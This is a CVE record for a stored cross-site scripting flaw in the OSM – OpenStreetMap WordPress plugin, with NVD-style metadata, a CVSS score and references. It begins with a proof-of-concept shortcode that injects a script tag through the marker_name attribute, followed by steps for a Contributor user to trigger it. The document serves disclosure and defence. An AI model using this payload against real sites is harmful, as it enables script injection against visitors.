CVE-2026-4429

[osm_map_v3 marker_name=""><script>alert('XSS');</script><""] /* PoC Explanation: 1. Log in as a user with Contributor privileges. 2. Create a new post. 3. Insert the above shortcode into the post content. 4. Publish or submit for review. 5. View the post to trigger the XSS alert. */

{"cve": {"id": "CVE-2026-4429", "sourceIdentifier": "[email protected]", "published": "2026-04-09T04:17:14.640", "lastModified": "2026-04-24T18:03:42.203", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OSM – OpenStreetMap plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'marker_name' and 'file_color_list' shortcode attribute of the [osm_map_v3] shortcode in all versions up to and including 6.1.15. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/osm/tags/6.1.15/osm-icon-class.php#L347", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/osm/tags/6.1.15/osm-icon-class.php#L356", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/osm/tags/6.1.15/osm_map_v3/osm-sc-osm_map_v3.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/osm/tags/6.1.15/osm_map_v3/osm-sc-osm_map_v3.php#L560", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/osm/trunk/osm-icon-class.php#L347", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/osm/trunk/osm-icon-class.php#L356", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/osm/trunk/osm_map_v3/osm-sc-osm_map_v3.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/osm/trunk/osm_map_v3/osm-sc-osm_map_v3.php#L560", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3493950%40osm&new=3493950%40osm&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/65dffde9-2a50-41fe-bc21-3d0915068887?source=cve", "source": "[email protected]"}]}}